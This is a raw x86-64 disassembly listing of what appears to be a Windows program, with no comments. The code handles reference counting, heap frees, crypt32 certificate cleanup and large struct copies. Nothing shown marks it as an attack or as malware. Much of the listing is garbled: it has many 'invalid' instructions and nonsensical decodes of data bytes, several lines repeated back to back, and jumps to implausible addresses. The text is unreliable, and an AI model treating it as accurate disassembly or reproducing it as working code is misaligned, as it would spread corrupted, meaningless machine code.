call qword [rax + 0x10]
mov rax, qword [rbx + 0x190]
mov rdx, qword [rbx + 0x198]
mov r8, qword [rbx + 0x1a0]
mov rcx, qword [rsp + 0xb8]
call qword [rax + 0x10]
jmp 0x1400740ff
mov rax, qword [rsp + 0xa8]
mov r14, qword [rax + 0xe8]
mov rbx, qword [rax + 0xf0]
mov rcx, r14
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400740ff
cmp qword [rbx + 0x10], 0x11
jb 0x1400740ed
mov r14, qword [r14 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rsp + 0xa8]
mov qword [rbx + 0xe0], 2
mov qword [rbx + 0xe8], rsi
mov qword [rbx + 0xf0], rdi
mov rax, qword [rsp + 0xcf0]
lock dec qword [rax]
jne 0x1400741d0
mov rcx, qword [rsp + 0xcf0]
call fcn.1400398e0
mov rax, qword [rsp + 0xcf8]
lock dec qword [rax]
je 0x1400741e2
cmp qword [rsp + 0xcd0], 0
je 0x14007416a
mov rcx, qword [rsp + 0xcd8]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rsp + 0xce0]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov rax, qword [rsp + 0xd40]
lock dec qword [rax]
jne 0x140074195
mov rcx, qword [rsp + 0xd40]
call fcn.140052260
cmp byte [rsp + 0xd38], 2
je 0x140072c00
mov rax, qword [rsp + 0xd18]
mov rdx, qword [rsp + 0xd20]
mov r8, qword [rsp + 0xd28]
lea rcx, [rsp + 0xd30]
call qword [rax + 0x10]
jmp 0x140072c00
mov rax, qword [rsp + 0xcf8]
lock dec qword [rax]
jne 0x140074151
mov rcx, qword [rsp + 0xcf8]
mov rdx, qword [rsp + 0xd00]
call fcn.140004950
cmp qword [rsp + 0xcd0], 0
jne 0x14007415c
jmp 0x14007416a
cmp rax, 1
jne 0x140078500
mov rdx, qword [rbx + 0xe8]
mov rax, qword [rbx + 0xf0]
lea rcx, [rsp + 0x660]
mov r8, qword [rsp + 0x200]
call qword [rax + 0x18]
movzx ebx, byte [rsp + 0x671]
cmp bl, 3
je 0x140077b74
mov r15, qword [rsp + 0x660]
mov rdi, qword [rsp + 0x668]
movzx ebp, byte [rsp + 0x670]
lea rcx, [rsp + 0x672]
mov eax, dword [rcx]
mov dword [rsp + 0x300], eax
movzx eax, word [rcx + 4]
mov word [rsp + 0x304], ax
mov rax, qword [rsp + 0x38]
cmp dword [rax], 4
je 0x140078657
mov rcx, qword [rsp + 0x38]
call fcn.140071bf0
mov rax, qword [rsp + 0x38]
mov qword [rax], 4
cmp bl, 2
lea r14, [rsp + 0x2130]
jne 0x1400742f0
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140078676
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 7
mov qword [rax], r15
mov qword [rax + 8], rdi
mov r15, rax
jmp 0x14007430e
movzx eax, word [rsp + 0x304]
mov word [rsp + 0xcd4], ax
mov eax, dword [rsp + 0x300]
mov dword [rsp + 0xcd0], eax
movzx eax, word [rsp + 0xcd4]
mov word [rsp + 0x180], ax
mov eax, dword [rsp + 0xcd0]
mov dword [rsp + 0x17c], eax
mov rax, qword [rsp + 0xa8]
mov rsi, qword [rax]
cmp rsi, 2
je 0x140078630
mov r8d, 0xd8
lea rcx, [rsp + 0xcd0]
mov rdx, qword [rsp + 0x98]
call fcn.140106530
mov rax, qword [rsp + 0x38]
cmp dword [rax], 4
je 0x140074370
mov rcx, qword [rsp + 0x38]
call fcn.140071bf0
mov r8d, 0xd8
mov rcx, r14
lea rdx, [rsp + 0xcd0]
call fcn.140106530
mov rax, qword [rsp + 0xa8]
mov qword [rax], 2
mov qword [rsp + 0x3420], rsi
mov r8d, 0xd8
lea rcx, [rsp + 0x3428]
mov rdx, r14
call fcn.140106530
cmp bl, 2
mov qword [rsp + 0x30], r15
je 0x1400747b0
mov qword [rsp + 0xcd0], rsi
mov r8d, 0xd8
lea rcx, [rsp + 0xcd8]
mov rdx, r14
call fcn.140106530
mov rcx, r12
mov rdx, r15
call qword [rdi + 0x50]
mov byte [rsp + 0x1c89], bpl
mov rdx, r15
mov r13, qword [rsp + 0x1c70]
mov rsi, qword [rsp + 0x1c78]
mov r14, qword [rsp + 0x1c80]
movzx r15d, byte [rsp + 0x1c88]
lea rcx, [rsp + 0x1c78]
mov eax, dword [rcx + 0x11]
mov ecx, dword [rcx + 0x14]
mov dword [rsp + 0x7c0], eax
mov dword [rsp + 0x7c3], ecx
test bl, bl
je 0x1400744f0
mov rcx, r12
call qword [rdi + 0x78]
movabs rax, 0x8000000000000001
cmp qword [rsp + 0x1c70], rax
je 0x1400744f0
test r13, r13
je 0x1400744a2
movzx eax, byte [0x140182310]
mov edx, 0x28
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140078694
mov rcx, qword [rsp + 0x1c80]
mov qword [rax + 0x10], rcx
movups xmm0, xmmword [rsp + 0x1c70]
movups xmmword [rax], xmm0
mov qword [rax + 0x18], r13
mov qword [rax + 0x20], rsi
mov r13, rax
lea rsi, [0x1401412c0]
jmp 0x1400744f0
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400786a3
mov r13, rax
mov rax, qword [rsp + 0x1c80]
mov qword [r13 + 0x10], rax
movups xmm0, xmmword [rsp + 0x1c70]
movups xmmword [r13], xmm0
lea rsi, [0x14013d3b8]
nop word cs:[rax + rax]
mov eax, dword [rsp + 0x7c0]
mov ecx, dword [rsp + 0x7c3]
mov dword [rsp + 0x1bb], ecx
mov dword [rsp + 0x1b8], eax
movzx eax, byte [rsp + 0xda8]
mov ecx, r15d
or cl, al
jne 0x1400746d0
lea rcx, [rsp + 0xd48]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x1ca0], rax
movdqu xmm0, xmmword [rcx + 0x10]
movdqu xmm1, xmmword [rcx + 0x20]
movups xmm2, xmmword [rcx + 0x30]
movaps xmmword [rsp + 0x1c90], xmm2
movdqa xmmword [rsp + 0x1c80], xmm1
movdqa xmmword [rsp + 0x1c70], xmm0
mov rdx, qword [rsp + 0xd90]
lea rcx, [rsp + 0x7c0]
mov r8, r12
mov r9b, 1
call fcn.140078ab0
mov rcx, r12
call fcn.140071ce0
cmp byte [rsp + 0x7c0], 3
jne 0x140072a10
mov rbx, rsi
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140078676
mov rsi, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 4
mov r8d, 0x17
mov rcx, rax
lea rdx, [0x140140fcd]
call fcn.140065c80
test r13, r13
lea r15, [rsp + 0x150]
je 0x14007460e
mov rcx, r13
mov rbp, r13
mov r13, rbx
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14007460e
jmp 0x189f4cf32
mov r8, rbp
cmp qword [rbx + 0x10], 0x11
jb 0x1400745ff
mov r8, qword [r8 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lock dec qword [r14]
jne 0x14007461c
mov rcx, r14
call fcn.1400398e0
mov rbx, qword [rsp + 0x30]
mov rcx, rbx
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x14007464a
cmp qword [rdi + 0x10], 0x11
jb 0x140074638
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0xd90]
test rax, rax
je 0x14007466a
lock dec qword [rax]
dec dword [rax]
jne 0x14007466a
lea rcx, [rsp + 0xd90]
call fcn.140066480
mov rax, qword [rsp + 0xd38]
test rax, rax
je 0x140074692
lock dec qword [rax]
jne 0x140074692
mov rcx, qword [rsp + 0xd38]
mov rdx, qword [rsp + 0xd40]
call fcn.140004950
invalid
dec dword [rax - 0x75]
test byte [rax + rbx*4], ah
or eax, 0x2b30000
mov rax, qword [rsp + 0xd98]
mov bl, 2
test rax, rax
je 0x140072b9e
stc
in al, 0xff
invalid
stc
in al, 0xff
push rax
dec qword [rax]
lock dec qword [rax]
jne 0x140072b9e
mov rcx, qword [rsp + 0xd98]
mov rdx, qword [rsp + 0xda0]
call fcn.140004950
add bh, cl
invalid
jmp 0x140072b9e
mov word [rax + rbx*4], fs
or eax, 0x8b480000
xchg esp, eax
and al, 0xa0
or eax, 0x8ce80000
add bh, cl
invalid
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x40], rsi
lea rdx, [rsp + 0xd48]
mov rcx, qword [rdx + 0x40]
mov qword [rsp + 0x440], rcx
movups xmm0, xmmword [rdx + 0x10]
adc byte [rdi], cl
adc byte [rdx + 0x20], cl
adc byte [rdi], cl
adc byte [rdx + 0x20], cl
movups xmm2, xmmword [rdx + 0x30]
movaps xmmword [rsp + 0x430], xmm2
add byte [rdi], cl
sub dword [rsp + 0x420], ecx
add byte [rdi], cl
sub dword [rsp + 0x420], ecx
movaps xmmword [rsp + 0x410], xmm0
test al, al
jne 0x140072a5a
test r15b, r15b
je 0x140072a5a
mov edi, r15d
mov r15, r14
mov r12d, edi
xor dil, 1
test dword [rcx], 0xffe336e9
invalid
test dword [rcx], 0xffe336e9
jrcxz 0x140074733
invalid
dec dword [rax - 0x7d]
stc
add dword [rdi], ecx
test ecx, ebx
add byte ds:[rax], al
movzx r13d, byte [rbx + 0x78]
mov dh, 0x6b
js 0x140074786
cmp ch, 4
mov dh, 0x6b
js 0x140074786
imul edi, dword [rax + 0x41], 0xffffff80
std
add al, 0xf
test edi, esp
add byte [rax], al
cmp ch, 4
jne case.0x140068e61.55
add byte [rax - 0x75], cl
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rbx + rcx*4 + 0x38], cl
mov rax, qword [rsp + 0x98]
mov r15, qword [rax]
movzx eax, byte [r15 + 0x111]
lea rcx, [0x140178604]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rax, qword [r15 + 0x98]
mov qword [rsp + 0x3430], rax
movups xmm0, xmmword [r15 + 0x88]
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rsi], ah
xor al, 0
add byte [rcx + 0xf], al
adc byte [rdi + 0x88], al
add byte [rax], al
movaps xmmword [rsp + 0x3420], xmm0
mov rax, qword [r15 + 0x68]
test rax, rax
je 0x1400749a4
mov rcx, qword [r15 + 0x70]
lock inc qword [rax]
inc qword [rax]
inc qword [rax]
jg 0x1400749a4
jmp case.0x14007476f.2
lea rcx, [rsp + 0x34a8]
call fcn.140071ce0
invalid
invalid
dec dword [rax - 0x75]
test byte [rax + riz*8], ah
xor al, 0
add byte [rax - 0x7b], cl
invalid
je 0x1400747dd
invalid
lock dec qword [rax]
jne 0x1400747dd
lea rcx, [rsp + 0x34e0]
call fcn.140066480
xor al, 0
add al, ch
movabs dword [0x8824848b48ffff1c], eax
xor al, 0
add byte [rax - 0x7b], cl
sal byte [rbx + rbx - 0x10], 0x48
dec dword [rax]
invalid
mov rax, qword [rsp + 0x3488]
test rax, rax
je 0x140074805
lock dec qword [rax]
or byte [rbp + 0x15], dh
jne 0x140074805
mov rcx, qword [rsp + 0x3488]
mov rdx, qword [rsp + 0x3490]
call fcn.140004950
add ecx, edi
invalid
mov word [rax + rcx*4], fs
xor al, 0
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x90
xor al, 0
add al, ch
add r9, rdi
add ecx, edi
add ecx, edi
dec dword [rax - 0x75]
test byte [rax + rbp*8], ah
xor al, 0
add byte [rax - 0x7b], cl
sal byte [rbx + rbx - 0x10], 0x48
lock dec qword [rax]
mov rax, qword [rsp + 0x34e8]
test rax, rax
je 0x14007482d
lock dec qword [rax]
jne 0x14007482d
mov rcx, qword [rsp + 0x34e8]
mov rdx, qword [rsp + 0x34f0]
xchg esp, eax
and al, 0xf0
xor al, 0
add al, ch
and eax, dword [rcx]
stc
invalid
xchg esp, eax
and al, 0xf0
xor al, 0
add al, ch
and eax, dword [rcx]
stc
inc dword [rcx - 0x4b]
add ch, cl
lodsd eax, dword [rsi]
cmp eax, dword [rax]
add dh, al
mov byte [rbx + 0x78], 3
mov r13b, 2
jmp 0x1400783e2
mov byte [rbx + 0x78], 3
cmp r13b, 3
je 0x1400786ff
add ecx, dword [rdi]
test byte [rsi + rdi - 0x74b80000], bh
or byte [r8 - 0x77], cl
and al, 0x30
mov rsi, qword [rbx + 0x10]
movups xmm0, xmmword [rbx + 0x28]
sub byte [r15], cl
sub dword [rsp + 0x6b0], eax
sub byte [r15], cl
sub dword [rsp + 0x6b0], eax
movups xmm0, xmmword [rbx + 0x18]
movaps xmmword [rsp + 0x6a0], xmm0
test byte [rax + riz*4], ah
invalid
add byte [rax], al
movups xmm6, xmmword [rbx + 0x38]
movzx r12d, byte [rbx + 0x48]
mov eax, dword [rbx + 0x4c]
mov dword [rsp + 0x11b], eax
mov eax, dword [rbx + 0x49]
mov dword [rsp + 0x118], eax
test byte [rax + riz*4], ah
invalid
mov rcx, rbx
mov rbp, qword [rbx + 0x50]
movups xmm7, xmmword [rbx + 0x58]
movzx edi, byte [rbx + 0x68]
jnp 0x1400748fc
jnp 0x1400748fc
movzx ebx, byte [rbx + 0x69]
movzx eax, word [rcx + 0x6e]
mov word [rsp + 0xd4], ax
add byte [rax], al
mov dh, 0x5b
imul ecx, dword [rdi], 0x666e41b7
mov dword [rsp + 0xd4], eax
add byte [rax], al
add byte [rax], al
mov eax, dword [rcx + 0x6a]
mov dword [rsp + 0xd0], eax
mov r14, qword [rcx + 0x70]
mov rcx, qword [rsp + 0xe8]
mov eax, dword [rcx]
mov ecx, dword [rcx + 3]
mov dword [rsp + 0x1c0], eax
rol byte [rcx], 0
add byte [rcx + 0x1c3248c], cl
add byte [rax], al
rol byte [rcx], 0
add byte [rcx + 0x1c3248c], cl
add byte [rax], al
jmp 0x1400783e2
add qword [rax], rax
add byte [rcx + 0xf], al
mov dh, 0x87
add qword [rax], rax
add byte [rcx - 0x73], cl
mov bh, 0x18
add dword [rax], eax
add byte [rbp - 0x1a7bf040], al
xor dword [rax], eax
add byte [rbx - 0x7bf0fc08], al
hlt
add ah, al
or al, 0
call fcn.140108b60
lea rbp, [r15 + 0x438]
movzx eax, byte [r15 + 0x438]
lea r13, [r15 + 0x118]
test eax, eax
je 0x140074ad5
movzx edx, word [r15 + 0x64]
mov r8d, dword [r15 + 0x60]
mov r9d, dword [r15 + 0x48]
mov r10, qword [r15 + 0x40]
mov r11, qword [r15 + 0x30]
mov esi, dword [r15 + 0x38]
movups xmm0, xmmword [r15]
movdqu xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
mov rdi, qword [r15 + 0x50]
movzx ebx, word [r15 + 0x80]
mov r14, qword [rsp + 0x3430]
mov qword [rsp + 0xce6], r14
movaps xmm3, xmmword [rsp + 0x3420]
movups xmmword [rsp + 0xcd6], xmm3
movups xmm3, xmmword [rsp + 0xcd0]
movaps xmmword [rsp + 0x4e0], xmm3
mov r14, qword [rsp + 0xcde]
mov qword [rsp + 0x4ee], r14
mov r14, qword [rsp + 0xce6]
mov qword [rsp + 0x4f6], r14
lea r13, [r15 + 0x118]
movups xmmword [r15 + 0x118], xmm0
movdqu xmmword [r15 + 0x128], xmm1
movups xmmword [r15 + 0x138], xmm2
mov qword [r15 + 0x148], r11
mov dword [r15 + 0x150], esi
mov qword [r15 + 0x158], r10
mov dword [r15 + 0x160], r9d
mov qword [r15 + 0x168], rdi
mov r9, qword [r15 + 0x58]
mov r10, qword [r15 + 0x78]
mov qword [r15 + 0x170], r9
mov dword [r15 + 0x178], r8d
mov word [r15 + 0x17c], dx
mov qword [r15 + 0x180], rax
mov qword [r15 + 0x188], rcx
mov qword [r15 + 0x190], r10
mov word [r15 + 0x198], bx
movups xmm0, xmmword [rsp + 0x4ee]
movups xmmword [r15 + 0x1a8], xmm0
movaps xmm0, xmmword [rsp + 0x4e0]
movups xmmword [r15 + 0x19a], xmm0
lea rbp, [r15 + 0x438]
mov byte [r15 + 0x438], 0
movzx eax, byte [0x140182310]
mov edx, 0x2320
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140078732
movzx eax, byte [r14 + 0x11]
test al, al
jne 0x140078816
inc qword [r14 + 0x238]
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14007813a
xor eax, eax
xchg byte [rsi], al
cmp al, 2
jne 0x140075acc
mov rcx, rsi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
lock inc qword [r14]
jle case.0x14007476f.2
lock inc qword [rdi]
jle case.0x14007476f.2
cmp dword [r15 + 0x2c8], 0
je 0x140075af9
mov edx, dword [r15 + 0x2cc]
mov rcx, r14
call fcn.14007aea0
mov eax, dword [rsp + 0x1e0]
mov ecx, dword [rsp + 0x1e3]
mov dword [rsp + 0x133], ecx
mov dword [rsp + 0x130], eax
movaps xmm0, xmmword [rsp + 0x620]
movaps xmmword [rsp + 0x360], xmm0
mov rax, qword [rsp + 0x630]
mov qword [rsp + 0x370], rax
lea rcx, [rsp + 0x3420]
lea rdx, [rsp + 0x7c0]
mov r8d, 0x350
call fcn.140106530
movups xmm0, xmmword [rsp + 0x7a8]
movaps xmmword [rsp + 0x640], xmm0
mov rax, qword [rsp + 0x7b8]
mov qword [rsp + 0x650], rax
jmp 0x140075d17
mov eax, dword [rsp + 0x130]
mov ecx, dword [rsp + 0x133]
mov dword [rsp + 0x1d3], ecx
mov dword [rsp + 0x1d0], eax
movaps xmm0, xmmword [rsp + 0x360]
movaps xmmword [rsp + 0x580], xmm0
mov rax, qword [rsp + 0x370]
mov qword [rsp + 0x590], rax
lea rcx, [rsp + 0x30d0]
lea rdx, [rsp + 0x3420]
mov r8d, 0x350
call fcn.140106530
movdqa xmm0, xmmword [rsp + 0x640]
movdqa xmmword [rsp + 0x560], xmm0
mov rax, qword [rsp + 0x650]
mov qword [rsp + 0x570], rax
mov byte [rbx], 1
mov rsi, qword [rsp + 0x60]
cmp rsi, 3
jne 0x140075db1
mov rax, qword [rsp + 0x38]
mov byte [rax], 3
mov byte [rbp], 3
mov al, 3
jmp 0x140077b6d
mov eax, dword [rsp + 0x1d0]
mov ecx, dword [rsp + 0x1d3]
mov dword [rsp + 0x123], ecx
mov dword [rsp + 0x120], eax
movaps xmm0, xmmword [rsp + 0x580]
movaps xmmword [rsp + 0x340], xmm0
mov rax, qword [rsp + 0x590]
mov qword [rsp + 0x350], rax
lea rcx, [rsp + 0x43c0]
lea rdx, [rsp + 0x30d0]
mov r8d, 0x350
call fcn.140106530
movaps xmm0, xmmword [rsp + 0x560]
movaps xmmword [rsp + 0x5e0], xmm0
mov rax, qword [rsp + 0x570]
mov qword [rsp + 0x5f0], rax
movups xmm0, xmmword [rsp + 0xcb0]
movups xmm1, xmmword [rsp + 0xcc0]
movaps xmmword [rsp + 0x320], xmm0
movaps xmmword [rsp + 0x330], xmm1
mov rax, qword [rsp + 0x6c2]
mov rcx, qword [rsp + 0x6c8]
mov qword [rsp + 0x2a8], rax
mov qword [rsp + 0x2ae], rcx
mov eax, dword [rsp + 0x2d9]
mov ecx, dword [rsp + 0x2dc]
mov dword [rsp + 0x1d8], eax
mov dword [rsp + 0x1db], ecx
movups xmm0, xmmword [rsp + 0xc90]
movups xmm1, xmmword [rsp + 0xca0]
movaps xmmword [rsp + 0x310], xmm1
movaps xmmword [rsp + 0x300], xmm0
movzx eax, byte [rsp + 0x187]
mov byte [rsp + 0x7e], al
movzx eax, word [rsp + 0x185]
mov word [rsp + 0x7c], ax
movups xmm0, xmmword [rsp + 0x660]
movdqu xmm1, xmmword [rsp + 0x670]
movups xmm2, xmmword [rsp + 0x680]
movups xmm3, xmmword [rsp + 0x68c]
movaps xmmword [rsp + 0x5a0], xmm0
movdqa xmmword [rsp + 0x5b0], xmm1
movaps xmmword [rsp + 0x5c0], xmm2
movups xmmword [rsp + 0x5cc], xmm3
cmp rsi, 2
mov qword [rsp + 0x40], rbp
jne 0x1400760d5
movzx eax, byte [rsp + 0x48]
mov byte [rsp + 0xcd0], al
mov eax, dword [rsp + 0x120]
mov ecx, dword [rsp + 0x123]
mov dword [rsp + 0xcd1], eax
mov dword [rsp + 0xcd4], ecx
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0xcd8], rax
movdqa xmm0, xmmword [rsp + 0x340]
movdqu xmmword [rsp + 0xce0], xmm0
mov rax, qword [rsp + 0x350]
mov qword [rsp + 0xcf0], rax
lea rcx, [rsp + 0xcd0]
call fcn.140035cb0
mov qword [rsp + 0x30], rax
mov rax, qword [r15 + 0x1f0]
test rax, rax
je 0x140075f9c
lock dec qword [rax]
jne 0x140075f9c
mov rcx, qword [r15 + 0x1f0]
mov rdx, qword [r15 + 0x1f8]
call fcn.140004950
lea rcx, [r15 + 0x1e0]
call fcn.1400722e0
mov byte [r15 + 0x430], 1
mov rcx, qword [rsp + 0x68]
call fcn.1400721b0
mov rax, qword [r15 + 0x1b8]
lock dec qword [rax]
jne 0x140075fd3
mov rcx, qword [r15 + 0x1b8]
call fcn.140066cf0
mov rsi, qword [r15 + 0x1c0]
lock dec qword [rsi + 0x1c8]
jne 0x140076061
lea rcx, [rsi + 0x80]
mov edx, 1
lock xadd qword [rsi + 0x88], rdx
call fcn.140065900
movabs rcx, 0x200000000
lock or qword [rax + 0x2310], rcx
mov rax, qword [rsi + 0x110]
nop dword [rax + rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rsi + 0x110], rcx
jne 0x140076020
test rax, rax
jne 0x140076061
mov rax, qword [rsi + 0x100]
mov rcx, qword [rsi + 0x108]
mov qword [rsi + 0x100], 0
lock and qword [rsi + 0x110], 0xfffffffffffffffd
test rax, rax
je 0x140076061
call qword [rax + 8]
lock dec qword [rsi]
jne 0x140076073
mov rcx, qword [r15 + 0x1c0]
call 0x140066d40
mov rax, qword [r15 + 0x180]
test rax, rax
je 0x1400767f0
lock dec qword [rax]
mov eax, 4
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x88], eax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x90], rax
mov dword [rsp + 0x70], eax
mov dword [rsp + 0xa0], eax
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x68], eax
je 0x140076d78
jmp 0x140076d8b
mov eax, dword [rsp + 0x120]
mov ecx, dword [rsp + 0x123]
mov dword [rsp + 0x7cc], ecx
int3
invalid
add byte [rax], al
mov dword [rsp + 0x7c9], eax
movaps xmm0, xmmword [rsp + 0x340]
movups xmmword [rsp + 0x7d8], xmm0
mov rax, qword [rsp + 0x350]
mov qword [rsp + 0x7e8], rax
lea rcx, [rsp + 0x7f0]
lea rdx, [rsp + 0x43c0]
mov r8d, 0x350
call fcn.140106530
mov qword [rsp + 0xb40], 2
mov rax, qword [rsp + 0x5f0]
mov qword [rsp + 0xb58], rax
movaps xmm0, xmmword [rsp + 0x5e0]
movups xmmword [rsp + 0xb48], xmm0
mov qword [rsp + 0xb60], 0
movaps xmm0, xmmword [rsp + 0x320]
movaps xmm1, xmmword [rsp + 0x330]
movups xmmword [rsp + 0xb70], xmm0
movups xmmword [rsp + 0xb80], xmm1
mov rax, qword [rsp + 0x2a8]
mov qword [rsp + 0xbb2], rax
mov rax, qword [rsp + 0x2ae]
mov qword [rsp + 0xbb8], rax
mov eax, dword [rsp + 0x1d8]
mov dword [rsp + 0xbc1], eax
mov eax, dword [rsp + 0x1db]
mov dword [rsp + 0xbc4], eax
movaps xmm0, xmmword [rsp + 0x300]
movaps xmm1, xmmword [rsp + 0x310]
movups xmmword [rsp + 0xbf0], xmm1
movups xmmword [rsp + 0xbe0], xmm0
movzx eax, word [rsp + 0x7c]
mov word [rsp + 0xc3d], ax
movzx eax, byte [rsp + 0x7e]
mov byte [rsp + 0xc3f], al
movaps xmm0, xmmword [rsp + 0x5a0]
movdqa xmm1, xmmword [rsp + 0x5b0]
movaps xmm2, xmmword [rsp + 0x5c0]
movups xmmword [rsp + 0xc44], xmm0
movdqu xmmword [rsp + 0xc54], xmm1
movups xmmword [rsp + 0xc64], xmm2
movups xmm0, xmmword [rsp + 0x5cc]
movups xmmword [rsp + 0xc70], xmm0
mov qword [rsp + 0x7c0], rsi
movzx eax, byte [rsp + 0x48]
mov byte [rsp + 0x7c8], al
mov rax, qword [rsp + 0x50]
and al, 0x50
int3
and al, 0x50
mov qword [rsp + 0x7d0], rax
mov qword [rsp + 0xb68], 0
mov dword [rsp + 0xb90], 0
mov word [rsp + 0xb9c], 0
mov qword [rsp + 0xba0], 0
mov byte [rsp + 0xba8], 0
mov byte [rsp + 0xbb1], 2
mov byte [rsp + 0xbc0], 0
mov qword [rsp + 0xbc8], r14
mov qword [rsp + 0x218], rdi
mov qword [rsp + 0xbd0], rdi
mov qword [rsp + 0xbd8], 0
mov dword [rsp + 0xc00], 1
mov eax, dword [rsp + 0x198]
mov dword [rsp + 0xc04], eax
mov eax, dword [rsp + 0xe0]
mov dword [rsp + 0xc08], eax
mov eax, dword [rsp + 0xe8]
mov dword [rsp + 0xc0c], eax
mov eax, dword [rsp + 0x1b0]
mov dword [rsp + 0xc10], eax
mov eax, dword [rsp + 0x70]
mov dword [rsp + 0xc14], eax
mov rax, qword [rsp + 0x58]
mov dword [rsp + 0xc18], eax
mov eax, dword [rsp + 0x1a8]
mov dword [rsp + 0xc1c], eax
mov eax, dword [rsp + 0x1a0]
mov dword [rsp + 0xc20], eax
mov eax, dword [rsp + 0x188]
mov dword [rsp + 0xc24], eax
mov eax, dword [rsp + 0x214]
mov dword [rsp + 0xc28], eax
mov eax, dword [rsp + 0x210]
mov dword [rsp + 0xc2c], eax
mov eax, dword [rsp + 0x20c]
mov dword [rsp + 0xc30], eax
mov eax, dword [rsp + 0x148]
mov dword [rsp + 0xc34], eax
mov eax, dword [rsp + 0x140]
mov dword [rsp + 0xc38], eax
movzx eax, byte [rsp + 0x190]
mov byte [rsp + 0xc3c], al
mov dword [rsp + 0xc40], 2
movzx eax, byte [0x140182310]
mov edx, 8
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400788fb
mov rbx, rax
mov qword [rax], 0
movzx eax, byte [0x140182310]
mov edx, 0x10
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14007890a
mov rbp, rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movzx eax, byte [0x140182310]
mov edx, 0x60
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140078919
mov rcx, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rbp
mov qword [rax + 0x28], rbp
mov qword [rax + 0x30], 1
movabs rax, 0x8000000000000000
mov qword [rcx + 0x38], rax
mov qword [rcx + 0x40], 1
mov qword [rcx + 0x48], 0
mov qword [rcx + 0x58], 0
mov qword [rsp + 0xe0], rcx
lock inc qword [rcx]
jle case.0x14007476f.2
movzx eax, byte [0x140182310]
mov edx, 0x30
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140078717
mov qword [rax], 1
mov qword [rax + 8], 1
mov word [rax + 0x10], 0
mov qword [rax + 0x18], 0
mov qword [rsp + 0x190], rax
mov byte [rax + 0x28], 0
movzx eax, byte [0x140182310]
mov edx, 0x48
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140078928
mov qword [rsp + 0x30], r13
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], 0
mov byte [rax + 0x20], 0
mov qword [rax + 0x28], 0
mov byte [rax + 0x38], 0
mov word [rax + 0x40], 0
mov qword [rsp + 0x38], rax
lock inc qword [rax]
jle case.0x14007476f.2
mov rax, qword [r15 + 0x380]
movzx r12d, byte [rax + 0x44]
mov esi, dword [rax + 0x3c]
mov rcx, qword [rax + 0x20]
mov ebp, dword [rax + 0x28]
mov r13, qword [rax + 0x10]
mov edi, dword [rax + 0x18]
movzx ebx, byte [rax + 0x45]
test r12d, r12d
jne 0x140076569
cmp ebp, 0x3b9aca00
jne 0x140076569
lea rcx, [rsp + 0x1c70]
lea rdx, [rsp + 0x7c0]
mov r8d, 0x4c0
call fcn.140106530
mov edi, 2
xor ebp, ebp
jmp 0x1400766de
mov qword [rsp + 0x60], rcx
lea rcx, [rsp + 0xba0]
call fcn.14001f2d0
test rax, rax
je 0x1400789d7
mov dword [rsp + 0xcd0], r12d
mov dword [rsp + 0xcd4], esi
mov qword [rsp + 0xcd8], r13
mov dword [rsp + 0xce0], edi
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0xce8], rcx
mov dword [rsp + 0xcf0], ebp
mov byte [rsp + 0xcf8], bl
lea rcx, [rsp + 0x3420]
lea r8, [rsp + 0xcd0]
mov rdx, rax
call fcn.140038cd0
mov rsi, qword [rsp + 0x3420]
movups xmm0, xmmword [rsp + 0x3478]
movups xmmword [rsp + 0x11d8], xmm0
movups xmm0, xmmword [rsp + 0x3468]
movups xmmword [rsp + 0x11c8], xmm0
movups xmm0, xmmword [rsp + 0x3458]
movups xmmword [rsp + 0x11b8], xmm0
movups xmm0, xmmword [rsp + 0x3448]
movups xmmword [rsp + 0x11a8], xmm0
movups xmm0, xmmword [rsp + 0x3438]
movups xmmword [rsp + 0x1198], xmm0
movups xmm0, xmmword [rsp + 0x3428]
movups xmmword [rsp + 0x1188], xmm0
mov rdi, qword [rsp + 0x7c0]
